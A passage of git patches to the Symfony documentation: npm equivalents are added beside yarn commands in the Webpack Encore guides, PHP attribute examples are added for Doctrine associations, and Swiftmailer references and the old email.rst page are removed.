 prefer to build configs separately, pass the ``--config-name`` option:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn encore dev --config-name firstConfig
+    .. code-block:: terminal
+
+        $ yarn encore dev --config-name firstConfig
+
+    .. code-block:: terminal
+
+        $ npm run dev -- --config-name firstConfig
 
 Next, define the output directories of each build:
 
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 34d503767c6..1051b386032 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -5,9 +5,15 @@ This article explains how to install and integrate the `Bootstrap CSS framework`
 in your Symfony application using :doc:`Webpack Encore </frontend>`.
 First, to be able to customize things further, we'll install ``bootstrap``:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add bootstrap --dev
+    .. code-block:: terminal
+
+        $ yarn add bootstrap --dev
+
+    .. code-block:: terminal
+
+        $ npm install bootstrap --save-dev
 
 Importing Bootstrap Styles
 --------------------------
@@ -40,10 +46,17 @@ Importing Bootstrap JavaScript
 First, install the JavaScript dependencies required by the Bootstrap version
 used in your application:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        // jQuery is only required in versions prior to Bootstrap 5
+        $ yarn add jquery @popperjs/core --dev
+
+    .. code-block:: terminal
 
-    // jQuery is only required in versions prior to Bootstrap 5
-    $ yarn add jquery @popperjs/core --dev
+        // jQuery is only required in versions prior to Bootstrap 5
+        $ npm install jquery @popperjs/core --save-dev
 
 Now, require bootstrap from any of your JavaScript files:
 
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index b474d280938..16530c40dac 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -4,9 +4,15 @@ Using webpack-dev-server and HMR
 While developing, instead of using ``yarn encore dev --watch``, you can use the
 `webpack-dev-server`_:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn encore dev-server
+
+    .. code-block:: terminal
 
-    $ yarn encore dev-server
+        $ npm run dev-server
 
 This builds and serves the front-end assets from a new server. This server runs at
 ``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``.
@@ -21,9 +27,15 @@ you're done: the paths in your templates will automatically point to the dev ser
 The ``dev-server`` command supports all the options defined by `webpack-dev-server`_.
 You can set these options via command line options:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn encore dev-server --https --port 9000
+
+    .. code-block:: terminal
 
-    $ yarn encore dev-server --https --port 9000
+        $ npm run dev-server -- --https --port 9000
 
 You can also set these options using the ``Encore.configureDevServerOptions()``
 method in your ``webpack.config.js`` file:
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index f349cf350cf..9d1f3d864be 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include:
     # whatever path you're passing to Encore.setOutputPath()
     /public/build
 
-You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock``.
+You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock`` or ``package-lock.json``.
 
 My App Lives under a Subdirectory
 ---------------------------------
@@ -105,8 +105,9 @@ file script tag is rendered automatically.
 This dependency was not found: some-module in ./path/to/file.js
 ---------------------------------------------------------------
 
-Usually, after you install a package via yarn, you can require / import it to use
-it. For example, after running ``yarn add respond.js``, you try to require that module:
+Usually, after you install a package via yarn or npm, you can require / import
+it to use it. For example, after running ``yarn add respond.js`` or ``npm install respond.js``,
+you try to require that module:
 
 .. code-block:: javascript
 
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 7cf878a1637..90d8daa0348 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -11,10 +11,17 @@ Installing Encore in Symfony Applications
 Run these commands to install both the PHP and JavaScript dependencies in your
 project:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ composer require symfony/webpack-encore-bundle
-    $ yarn install
+    .. code-block:: terminal
+
+        $ composer require symfony/webpack-encore-bundle
+        $ yarn install
+
+    .. code-block:: terminal
+
+        $ composer require symfony/webpack-encore-bundle
+        $ npm install
 
 If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable
 the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a
@@ -30,12 +37,15 @@ Installing Encore in non Symfony Applications
 
 Install Encore into your project via Yarn:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add @symfony/webpack-encore --dev
 
-    $ yarn add @symfony/webpack-encore --dev
+    .. code-block:: terminal
 
-    # if you prefer npm, run this command instead:
-    $ npm install @symfony/webpack-encore --save-dev
+        $ npm install @symfony/webpack-encore --save-dev
 
 This command creates (or modifies) a ``package.json`` file and downloads
 dependencies into a ``node_modules/`` directory. Yarn also creates/updates a
@@ -145,7 +155,7 @@ Next, open the new ``assets/js/app.js`` file which contains some JavaScript code
     // any CSS you import will output into a single css file (app.css in this case)
     import '../css/app.css';
 
-    // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
+    // Need jQuery? Install it with "yarn add jquery"(or "npm install jquery"), then uncomment to import it.
     // import $ from 'jquery';
 
     console.log('Hello Webpack Encore! Edit me in assets/js/app.js');
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 90caeb966e4..2a859e7a109 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -21,9 +21,15 @@ Encore, you're done!
 
 Next, download any plugins you want, like ``autoprefixer``:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add autoprefixer --dev
+  .. code-block:: terminal
+
+      $ yarn add autoprefixer --dev
+
+  .. code-block:: terminal
+
+      $ npm install autoprefixer --save-dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index 927a13c4664..29a3093fe7a 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -8,9 +8,16 @@ Enabling React.js
 
 Using React? First add some dependencies with Yarn:
 
-.. code-block:: terminal
 
-    $ yarn add react react-dom prop-types
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add react react-dom prop-types
+
+    .. code-block:: terminal
+
+        $ npm install react react-dom prop-types --save
 
 Enable react in your ``webpack.config.js``:
 
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e9153e26db..3d6f0691e51 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -59,22 +59,29 @@ together and - thanks to the first ``app`` argument - output final ``app.js`` an
 
 To build the assets, run:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        # compile assets once
+        $ yarn encore dev
+
+        # or, recompile assets automatically when files change
+        $ yarn encore dev --watch
+
+        # on deploy, create a production build
+        $ yarn encore production
 
-    # compile assets once
-    $ yarn encore dev
-    # if you prefer npm, run:
-    $ npm run dev
+    .. code-block:: terminal
 
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
-    # if you prefer npm, run:
-    $ npm run watch
+        # compile assets once
+        $ npm run dev
 
-    # on deploy, create a production build
-    $ yarn encore production
-    # if you prefer npm, run:
-    $ npm run build
+        # or, recompile assets automatically when files change
+        $ npm run watch
+
+        # on deploy, create a production build
+        $ npm run build
 
 .. note::
 
@@ -159,9 +166,15 @@ files. First, create a file that exports a function:
 
 We'll use jQuery to print this message on the page. Install it via:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add jquery --dev
+
+    .. code-block:: terminal
 
-    $ yarn add jquery --dev
+        $ npm install jquery --save-dev
 
 Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
@@ -251,9 +264,16 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
 
-.. code-block:: terminal
 
-    $ yarn run encore dev --watch
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn run encore dev --watch
+
+    .. code-block:: terminal
+
+        $ npm run watch
 
 Webpack will now output a new ``checkout.js`` file and a new ``account.js`` file
 in your build directory. And, if any of those files require/import CSS, Webpack
@@ -320,10 +340,17 @@ Encore. When you do, you'll see an error!
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
-.. code-block:: terminal
+.. configuration-block::
+
+    .. code-block:: terminal
+
+        $ yarn add sass-loader@^10.0.0 sass --dev
+        $ yarn encore dev --watch
+
+    .. code-block:: terminal
 
-    $ yarn add sass-loader@^10.0.0 sass --dev
-    $ yarn encore dev --watch
+        $ npm install sass-loader@^10.0.0 sass --save-dev
+        $ npm run watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See
 :doc:`/frontend/encore/css-preprocessors`.
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 976cd6974d8..7b0d9595797 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -8,9 +8,15 @@ generated CSS files.
 Webpack Encore provides this feature via Webpack's `URL Loader`_ plugin, but
 it's disabled by default. First, add the URL loader to your project:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn add url-loader --dev
+    .. code-block:: terminal
+
+        $ yarn add url-loader --dev
+
+    .. code-block:: terminal
+
+        $ npm install url-loader --save-dev
 
 Then enable it in your ``webpack.config.js``:
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index 2af99c075fb..3ed2edc5f88 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -35,9 +35,15 @@ The ``vue-loader`` supports hot module replacement: just update your code and wa
 your Vue.js app update *without* a browser refresh! To activate it, use the
 ``dev-server`` with the ``--hot`` option:
 
-.. code-block:: terminal
+.. configuration-block::
 
-    $ yarn encore dev-server --hot
+    .. code-block:: terminal
+
+        $ yarn encore dev-server --hot
+
+    .. code-block:: terminal
+
+        $ npm run dev-server -- --hot
 
 That's it! Change one of your ``.vue`` files and watch your browser update. But
 note: this does *not* currently work for *style* changes in a ``.vue`` file. Seeing

From bf07c0c41e0a751323a9433ea4b6c6b13ddf0cea Mon Sep 17 00:00:00 2001
From: Shiraz <shiraz.oa@gmail.com>
Date: Mon, 16 Aug 2021 11:46:20 +0400
Subject: [PATCH 2444/7107] Added attribute code block examples

---
 doctrine/associations.rst | 86 +++++++++++++++++++++++++++++++++++----
 1 file changed, 79 insertions(+), 7 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..94c74dc0a6f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -171,6 +171,32 @@ the ``Product`` entity (and getter & setter methods):
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Product.php
+        namespace App\Entity;
+
+        // ...
+        class Product
+        {
+            // ...
+
+            #[ORM\ManyToOne(targetEntity: Category::class, inversedBy: "products")]
+            private $category;
+
+            public function getCategory(): ?Category
+            {
+                return $this->category;
+            }
+
+            public function setCategory(?Category $category): self
+            {
+                $this->category = $category;
+
+                return $this;
+            }
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Product.orm.yml
@@ -248,6 +274,38 @@ class that will hold these objects:
             // addProduct() and removeProduct() were also added
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+        namespace App\Entity;
+
+        // ...
+        use Doctrine\Common\Collections\ArrayCollection;
+        use Doctrine\Common\Collections\Collection;
+
+        class Category
+        {
+            // ...
+
+            #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category")]
+            private $products;
+
+            public function __construct()
+            {
+                $this->products = new ArrayCollection();
+            }
+
+            /**
+             * @return Collection|Product[]
+             */
+            public function getProducts(): Collection
+            {
+                return $this->products;
+            }
+
+            // addProduct() and removeProduct() were also added
+        }
+
     .. code-block:: yaml
 
         # src/Resources/config/doctrine/Category.orm.yml
@@ -597,16 +655,30 @@ on that ``Product`` will be set to ``null`` in the database.
 
 But, instead of setting the ``category_id`` to null, what if you want the ``Product``
 to be *deleted* if it becomes "orphaned" (i.e. without a ``Category``)? To choose
-that behavior, use the `orphanRemoval`_ option inside ``Category``::
+that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
-    // src/Entity/Category.php
+.. configuration-block::
 
-    // ...
+    .. code-block:: php-annotations
+
+        // src/Entity/Category.php
+
+        // ...
+
+        /**
+         * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
+         */
+        private $products;
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Category.php
+
+        // ...
+
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval=true)]
+        private $products;
 
-    /**
-     * @ORM\OneToMany(targetEntity="App\Entity\Product", mappedBy="category", orphanRemoval=true)
-     */
-    private $products;
 
 Thanks to this, if the ``Product`` is removed from the ``Category``, it will be
 removed from the database entirely.

From 90896382dbf37527c3f489a9cf2c4ff9311b86cd Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 18 Aug 2021 16:38:45 +0200
Subject: [PATCH 2445/7107] Take into account the EOM of Swiftmailer in docs

---
 components/http_kernel.rst        |  7 -------
 console/command_in_controller.rst | 18 ++++++++----------
 email.rst                         |  7 ++++---
 mailer.rst                        |  4 ++--
 migration.rst                     |  2 +-
 5 files changed, 15 insertions(+), 23 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 3fd76780295..ac2733058e0 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -498,12 +498,6 @@ as possible to the client (e.g. sending emails).
     Using the ``kernel.terminate`` event is optional, and should only be
     called if your kernel implements :class:`Symfony\\Component\\HttpKernel\\TerminableInterface`.
 
-.. sidebar:: ``kernel.terminate`` in the Symfony Framework
-
-    If you use the :ref:`memory spooling <email-spool-memory>` option of the
-    default Symfony mailer, then the `EmailSenderListener`_ is activated, which
-    actually delivers any emails that you scheduled to send during the request.
-
 .. _component-http-kernel-kernel-exception:
 
 Handling Exceptions: the ``kernel.exception`` Event
@@ -783,5 +777,4 @@ Learn more
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
-.. _`EmailSenderListener`: https://github.com/symfony/swiftmailer-bundle/blob/master/EventListener/EmailSenderListener.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 74cd6b09cbe..91ead2a7801 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -20,11 +20,9 @@ Instead, you can run the command directly from the controller.
     a controller has a slight performance impact because of the request stack
     overhead.
 
-Imagine you want to send spooled Swift Mailer messages by
-:doc:`using the swiftmailer:spool:send command </email>`.
-Run this command from inside your controller via::
+Imagine you want to run the ``debug:twig`` from inside your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Console\Application;
@@ -34,19 +32,19 @@ Run this command from inside your controller via::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\KernelInterface;
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool(int $messages = 10, KernelInterface $kernel): Response
+        public function debugTwig(KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
 
             $input = new ArrayInput([
-                'command' => 'swiftmailer:spool:send',
+                'command' => 'debug:twig',
                 // (optional) define the value of command arguments
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
-                '--message-limit' => $messages,
+                '--bar' => 'fooValue',
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -76,7 +74,7 @@ First, require the package:
 
 Now, use it in your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use SensioLabs\AnsiConverter\AnsiToHtmlConverter;
@@ -85,7 +83,7 @@ Now, use it in your controller::
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
         public function sendSpool(int $messages = 10): Response
         {
diff --git a/email.rst b/email.rst
index 60e630abc38..c5517bef991 100644
--- a/email.rst
+++ b/email.rst
@@ -4,10 +4,11 @@
 Swift Mailer
 ============
 
-.. note::
+.. caution::
 
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and can
-    be used instead of Swift Mailer.
+    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
+    be used instead of Swift Mailer as it won't be maintained anymore as of November
+    2021.
 
 Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
 via the `SwiftMailerBundle`_. This mailer supports sending messages with your
diff --git a/mailer.rst b/mailer.rst
index e8191db3461..eddc04e8ef7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -3,8 +3,8 @@ Sending Emails with Mailer
 
 .. versionadded:: 4.3
 
-    The Mailer component was introduced in Symfony 4.3. The previous solution,
-    called Swift Mailer, is still valid: :doc:`Swift Mailer </email>`.
+    The Mailer component was introduced in Symfony 4.3 and replaces Swift
+    Mailer.
 
 Installation
 ------------
diff --git a/migration.rst b/migration.rst
index ce5bbbcd209..6b0807588aa 100644
--- a/migration.rst
+++ b/migration.rst
@@ -82,7 +82,7 @@ Setting up Composer
 Another point you will have to look out for is conflicts between
 dependencies in both applications. This is especially important if your
 existing application already uses Symfony components or libraries commonly
-used in Symfony applications such as Doctrine ORM, Swiftmailer or Twig.
+used in Symfony applications such as Doctrine ORM or Twig.
 A good way for ensuring compatibility is to use the same ``composer.json``
 for both project's dependencies.
 

From 43f092e4981c1a508873c1691cdad26901038491 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 19 Aug 2021 09:22:18 +0200
Subject: [PATCH 2446/7107] Remove references to Swiftmailer

---
 email.rst                               | 671 ------------------------
 index.rst                               |   1 -
 mailer.rst                              |   5 -
 reference/configuration/swiftmailer.rst | 390 --------------
 reference/dic_tags.rst                  |  23 -
 reference/index.rst                     |   1 -
 reference/map.rst.inc                   |   1 -
 7 files changed, 1092 deletions(-)
 delete mode 100644 email.rst
 delete mode 100644 reference/configuration/swiftmailer.rst

diff --git a/email.rst b/email.rst
deleted file mode 100644
index 37bcf3722cf..00000000000
--- a/email.rst
+++ /dev/null
@@ -1,671 +0,0 @@
-.. index::
-   single: Emails
-
-Swift Mailer
-============
-
-.. caution::
-
-    In Symfony 4.3, the :doc:`Mailer </mailer>` component was introduced and should
-    be used instead of Swift Mailer as it won't be maintained anymore as of November
-    2021.
-
-Symfony provides a mailer feature based on the popular `Swift Mailer`_ library
-via the `SwiftMailerBundle`_. This mailer supports sending messages with your
-own mail servers as well as using popular email providers like `Mandrill`_,
-`SendGrid`_, and `Amazon SES`_.
-
-Installation
-------------
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Swift Mailer based mailer before using it:
-
-.. code-block:: terminal
-
-    $ composer require symfony/swiftmailer-bundle
-
-If your application doesn't use Symfony Flex, follow the installation
-instructions on `SwiftMailerBundle`_.
-
-.. _swift-mailer-configuration:
-
-Configuration
--------------
-
-The ``config/packages/swiftmailer.yaml`` file that's created when installing the
-mailer provides all the initial config needed to send emails, except your mail
-server connection details. Those parameters are defined in the ``MAILER_URL``
-environment variable in the ``.env`` file:
-
-.. code-block:: bash
-
-    # .env (or override MAILER_URL in .env.local to avoid committing your changes)
-
-    # use this to disable email delivery
-    MAILER_URL=null://localhost
-
-    # use this to configure a traditional SMTP server
-    MAILER_URL=smtp://localhost:465?encryption=ssl&auth_mode=login&username=&password=
-
-.. caution::
-
-    If the username, password or host contain any character considered special in a
-    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
-    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
-    :phpfunction:`urlencode` function to encode them.
-
-Refer to the :doc:`SwiftMailer configuration reference </reference/configuration/swiftmailer>`
-for the detailed explanation of all the available config options.
-
-Sending Emails
---------------
-
-The Swift Mailer library works by creating, configuring and then sending
-``Swift_Message`` objects. The "mailer" is responsible for the actual delivery
-of the message and is accessible via the ``Swift_Mailer`` service. Overall,
-sending an email is pretty straightforward::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/emails/registration.html.twig
-                    'emails/registration.html.twig',
-                    ['name' => $name]
-                ),
-                'text/html'
-            )
-
-            // you can remove the following code if you don't define a text version for your emails
-            ->addPart(
-                $this->renderView(
-                    // templates/emails/registration.txt.twig
-                    'emails/registration.txt.twig',
-                    ['name' => $name]
-                ),
-                'text/plain'
-            )
-        ;
-
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-To keep things decoupled, the email body has been stored in a template and
-rendered with the ``renderView()`` method. The ``registration.html.twig``
-template might look something like this:
-
-.. code-block:: html+twig
-
-    {# templates/emails/registration.html.twig #}
-    <h3>You did it! You registered!</h3>
-
-    Hi {{ name }}! You're successfully registered.
-
-    {# example, assuming you have a route named "login" #}
-    To login, go to: <a href="{{ url('login') }}">...</a>.
-
-    Thanks!
-
-    {# Makes an absolute URL to the /images/logo.png file #}
-    <img src="{{ absolute_url(asset('images/logo.png')) }}">
-
-The ``$message`` object supports many more options, such as including attachments,
-adding HTML content, and much more. Refer to the `Creating Messages`_ section
-of the Swift Mailer documentation for more details.
-
-.. _email-using-gmail:
-
-Using Gmail to Send Emails
---------------------------
-
-During development, you might prefer to send emails using Gmail instead of
-setting up a regular SMTP server. To do that, update the ``MAILER_URL`` of your
-``.env`` file to this:
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost
-
-The ``gmail`` transport is a shortcut that uses the ``smtp`` transport, ``ssl``
-encryption, ``login`` auth mode and ``smtp.gmail.com`` host. If your app uses
-other encryption or auth mode, you must override those values
-(:doc:`see mailer config reference </reference/configuration/swiftmailer>`):
-
-.. code-block:: bash
-
-    # username is your full Gmail or Google Apps email address
-    MAILER_URL=gmail://username:password@localhost?encryption=tls&auth_mode=oauth
-
-If your Gmail account uses 2-Step-Verification, you must `generate an App password`_
-and use it as the value of the mailer password. You must also ensure that you
-`allow less secure applications to access your Gmail account`_.
-
-Using Cloud Services to Send Emails
------------------------------------
-
-Cloud mailing services are a popular option for companies that don't want to set
-up and maintain their own reliable mail servers. To use these services in a
-Symfony app, update the value of ``MAILER_URL`` in the ``.env``
-file. For example, for `Amazon SES`_ (Simple Email Service):
-
-.. code-block:: bash
-
-    # The host will be different depending on your AWS zone
-    # The username/password credentials are obtained from the Amazon SES console
-    MAILER_URL=smtp://email-smtp.us-east-1.amazonaws.com:587?encryption=tls&username=YOUR_SES_USERNAME&password=YOUR_SES_PASSWORD
-
-Use the same technique for other mail services, as most of the time there is
-nothing more to it than configuring an SMTP endpoint.
-
-How to Work with Emails during Development
-------------------------------------------
-
-When developing an application which sends email, you will often
-not want to actually send the email to the specified recipient during
-development. If you are using the SwiftmailerBundle with Symfony, you
-can achieve this through configuration settings without having to make
-any changes to your application's code at all. There are two main choices
-when it comes to handling email during development: (a) disabling the
-sending of email altogether or (b) sending all email to a specific
-address (with optional exceptions).
-
-Disabling Sending
-~~~~~~~~~~~~~~~~~
-
-You can disable sending email by setting the ``disable_delivery`` option to
-``true``, which is the default value used by Symfony in the ``test`` environment
-(email messages will continue to be sent in the other environments):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/test/swiftmailer.yaml
-        swiftmailer:
-            disable_delivery: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/test/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config disable-delivery="true"/>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/test/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'disable_delivery' => "true",
-        ]);
-
-.. _sending-to-a-specified-address:
-
-Sending to a Specified Address(es)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can also choose to have all email sent to a specific address or a list of addresses, instead
-of the address actually specified when sending the message. This can be done
-via the ``delivery_addresses`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ['dev@example.com'],
-        ]);
-
-Now, suppose you're sending an email to ``recipient@example.com`` in a controller::
-
-    public function index($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody(
-                $this->renderView(
-                    // templates/hello/email.txt.twig
-                    'hello/email.txt.twig',
-                    ['name' => $name]
-                )
-            )
-        ;
-        $mailer->send($message);
-
-        return $this->render(...);
-    }
-
-In the ``dev`` environment, the email will instead be sent to ``dev@example.com``.
-Swift Mailer will add an extra header to the email, ``X-Swift-To``, containing
-the replaced address, so you can still see who it would have been sent to.
-
-.. note::
-
-    In addition to the ``to`` addresses, this will also stop the email being
-    sent to any ``CC`` and ``BCC`` addresses set for it. Swift Mailer will add
-    additional headers to the email with the overridden addresses in them.
-    These are ``X-Swift-Cc`` and ``X-Swift-Bcc`` for the ``CC`` and ``BCC``
-    addresses respectively.
-
-.. _sending-to-a-specified-address-but-with-exceptions:
-
-Sending to a Specified Address but with Exceptions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Suppose you want to have all email redirected to a specific address,
-(like in the above scenario to ``dev@example.com``). But then you may want
-email sent to some specific email addresses to go through after all, and
-not be redirected (even if it is in the dev environment). This can be done
-by adding the ``delivery_whitelist`` option:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/swiftmailer.yaml
-        swiftmailer:
-            delivery_addresses: ['dev@example.com']
-            delivery_whitelist:
-                # all email addresses matching these regexes will be delivered
-                # like normal, as well as being sent to dev@example.com
-                - '/@specialdomain\.com$/'
-                - '/^admin@mydomain\.com$/'
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <!-- all email addresses matching these regexes will be delivered
-                     like normal, as well as being sent to dev@example.com -->
-                <swiftmailer:delivery-whitelist-pattern>/@specialdomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-whitelist-pattern>/^admin@mydomain\.com$/</swiftmailer:delivery-whitelist-pattern>
-                <swiftmailer:delivery-address>dev@example.com</swiftmailer:delivery-address>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            'delivery_addresses' => ["dev@example.com"],
-            'delivery_whitelist' => [
-                // all email addresses matching these regexes will be delivered
-                // like normal, as well as being sent to dev@example.com
-                '/@specialdomain\.com$/',
-                '/^admin@mydomain\.com$/',
-            ],
-        ]);
-
-In the above example all email messages will be redirected to ``dev@example.com``
-and messages sent to the ``admin@mydomain.com`` address or to any email address
-belonging to the domain ``specialdomain.com`` will also be delivered as normal.
-
-.. caution::
-
-    The ``delivery_whitelist`` option is ignored unless the ``delivery_addresses`` option is defined.
-
-Viewing from the Web Debug Toolbar
